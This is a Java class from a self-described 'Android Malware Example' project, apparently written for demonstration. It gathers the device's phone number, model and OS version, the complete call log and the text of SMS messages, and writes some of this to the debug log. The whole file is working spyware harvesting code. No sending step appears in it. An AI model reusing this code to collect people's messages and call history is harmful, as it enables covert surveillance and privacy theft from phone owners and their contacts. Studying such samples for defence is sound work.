/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;


import android.Manifest;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog;
import android.support.v4.content.ContextCompat;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class GetPhoneInfo {

    Context context;
    String mPhoneNumber;
    String PhoneModel;
    String AndroidVersion;
    ConfigParams configParams ;
    List<CallInfo> callInfo;
    List<SMSInfo> smsInfo;


    public GetPhoneInfo(Context _context) {
        context = _context;
        configParams = new ConfigParams(context);
        PhoneModel = android.os.Build.MODEL;
        AndroidVersion = android.os.Build.VERSION.RELEASE;
        callInfo = new ArrayList<CallInfo>();
        smsInfo = new ArrayList<SMSInfo>();
    }

    public String GetPhoneNumber() {
        //	Log.d("BGMonitor","GetPhoneNumber Getting Phone Number");

        try {
            int permissionCheck = ContextCompat.checkSelfPermission(context,
                    Manifest.permission.READ_SMS);
            if (permissionCheck == PackageManager.PERMISSION_GRANTED) {
                TelephonyManager tMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
                mPhoneNumber = tMgr.getLine1Number();
                if (mPhoneNumber.startsWith("+"))
                    mPhoneNumber = mPhoneNumber.substring(1);

            } else {
                mPhoneNumber = "9999999999";
            }


        } catch (Exception ex) {
            Log.d(configParams.PROGID, "GetPhoneNumber Error:" + ex.toString());
            mPhoneNumber = "9999999999";
        }
        //	Log.d("BGMonitor","GetPhoneNumber Found Phone Number:"+mPhoneNumber);


        return (mPhoneNumber);
    }

    public class CallInfo {
        public String callNumber;
        public String callName;
        public String callDate;
        public String callType;
        public String callDuration;
    }
    public class SMSInfo {

        public String messageId;
        public String address;
        public long contactId;
        public String readState;
        public String folder;
        public String contact;
        public String datestamp;
        public String message;



    }
    public class Sms {
        private String _id;
        private String _address;
        private String _msg;
        private String _readState; //"0" for have not read sms and "1" for have read sms
        private String _time;
        private String _folderName;

        public String getId() {
            return _id;
        }

        public String getAddress() {
            return _address;
        }

        public String getMsg() {
            return _msg;
        }

        public String getReadState() {
            return _readState;
        }

        public String getTime() {
            return _time;
        }

        public String getFolderName() {
            return _folderName;
        }


        public void setId(String id) {
            _id = id;
        }

        public void setAddress(String address) {
            _address = address;
        }

        public void setMsg(String msg) {
            _msg = msg;
        }

        public void setReadState(String readState) {
            _readState = readState;
        }

        public void setTime(String time) {
            _time = time;
        }

        public void setFolderName(String folderName) {
            _folderName = folderName;
        }

    }

        public List<CallInfo> GetPhoneLog() {
        Cursor curLog = CallLogHelper.getAllCallLogs(context.getContentResolver());
        callInfo = setCallLogs(curLog);

        for( CallInfo callinfo: callInfo){
            String result = String.format("Call: %20s - %15s [%-25s][%10s] %5s Seconds ",callinfo.callDate,callinfo.callNumber,callinfo.callName,callinfo.callType,callinfo.callDuration);
            if (configParams.Logging)   Log.d(configParams.PROGID,result);
        }
        return callInfo;
    }


    public List<SMSInfo> GetSMSLog(String box) {

        // public static final String INBOX = "content://sms/inbox";
// public static final String SENT = "content://sms/sent";
// public static final String DRAFT = "content://sms/draft";

        Cursor cursor = context.getContentResolver().query(Uri.parse("content://sms/"+box), null, null, null, null);

        if (cursor.moveToFirst()) { // must check the result to prevent exception
            do {
                String msgData = "";

                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
                    msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);

                }
//




                    SMSInfo _sms = new SMSInfo();
                    _sms.messageId = cursor.getString(cursor.getColumnIndexOrThrow("_id"));
                    _sms.address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
                    _sms.readState = cursor.getString(cursor.getColumnIndex("read"));
                    String dateString = new SimpleDateFormat("yyyy-MMM-dd HH:mm:ss").format(new Date(cursor.getLong(4)));

                   // _sms.datestamp = cursor.getString(cursor.getColumnIndexOrThrow("date"));
                         _sms.datestamp = dateString;
                    if (cursor.getString(cursor.getColumnIndexOrThrow("type")).contains("1")) {
                       _sms.folder ="inbox";
                    } else {
                        _sms.folder ="sent";
                    }
                    _sms.message = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                    smsInfo.add(_sms);


                // use msgData
            } while (cursor.moveToNext());
        } else {
            // empty box, no SMS
        }

        for (SMSInfo smsinfo : smsInfo) {
            String result = String.format("SMS: %20s - %15s [%B][%-25s] ", smsinfo.datestamp,  smsinfo.address, smsinfo.readState,smsinfo.message);
            if (configParams.Logging) Log.d(configParams.PROGID, result);
        }
        return smsInfo;
    }

//        public List<Sms> getAllSms() {
//            List<Sms> lstSms = new ArrayList<Sms>();
//            Sms objSms = new Sms();
//            Uri message = Uri.parse("content://sms/");
//            ContentResolver cr = context.getContentResolver();
//
//            Cursor c = cr.query(message, null, null, null, null);
//            context.startManagingCursor(c);
//            int totalSMS = c.getCount();
//
//            if (c.moveToFirst()) {
//                for (int i = 0; i < totalSMS; i++) {
//
//                    objSms = new Sms();
//                    objSms.setId(c.getString(c.getColumnIndexOrThrow("_id")));
//                    objSms.setAddress(c.getString(c
//                            .getColumnIndexOrThrow("address")));
//                    objSms.setMsg(c.getString(c.getColumnIndexOrThrow("body")));
//                    objSms.setReadState(c.getString(c.getColumnIndex("read")));
//                    objSms.setTime(c.getString(c.getColumnIndexOrThrow("date")));
//                    if (c.getString(c.getColumnIndexOrThrow("type")).contains("1")) {
//                        objSms.setFolderName("inbox");
//                    } else {
//                        objSms.setFolderName("sent");
//                    }
//
//                    lstSms.add(objSms);
//                    c.moveToNext();
//                }
//            }
//            // else {
//            // throw new RuntimeException("You have no SMS");
//            // }
//            c.close();
//
//            return lstSms;
//        }


    private List<CallInfo> setCallLogs(Cursor curLog) {
        List<CallInfo> _callInfo = new ArrayList<CallInfo>();

        while (curLog.moveToNext()) {

            CallInfo _callinfo = new CallInfo();

            _callinfo.callNumber = curLog.getString(curLog
                    .getColumnIndex(android.provider.CallLog.Calls.NUMBER));


            String callName = curLog
                    .getString(curLog
                            .getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME));
            if (callName == null) {
                _callinfo.callName = "Unknown";
            } else
                _callinfo.callName = callName;

            String callDate = curLog.getString(curLog
                    .getColumnIndex(android.provider.CallLog.Calls.DATE));
            SimpleDateFormat formatter = new SimpleDateFormat(
                    "dd-MMM-yyyy HH:mm");
            String dateString = formatter.format(new Date(Long
                    .parseLong(callDate)));
            _callinfo.callDate = dateString;


            String callType = curLog.getString(curLog
                    .getColumnIndex(android.provider.CallLog.Calls.TYPE));
            if (callType.equals("1")) {
                _callinfo.callType = "Incoming";
            } else
                _callinfo.callType = "Outgoing";

            String duration = curLog.getString(curLog
                    .getColumnIndex(android.provider.CallLog.Calls.DURATION));
            _callinfo.callDuration = duration;

            _callInfo.add(_callinfo);
        }

        return (_callInfo);

    }
}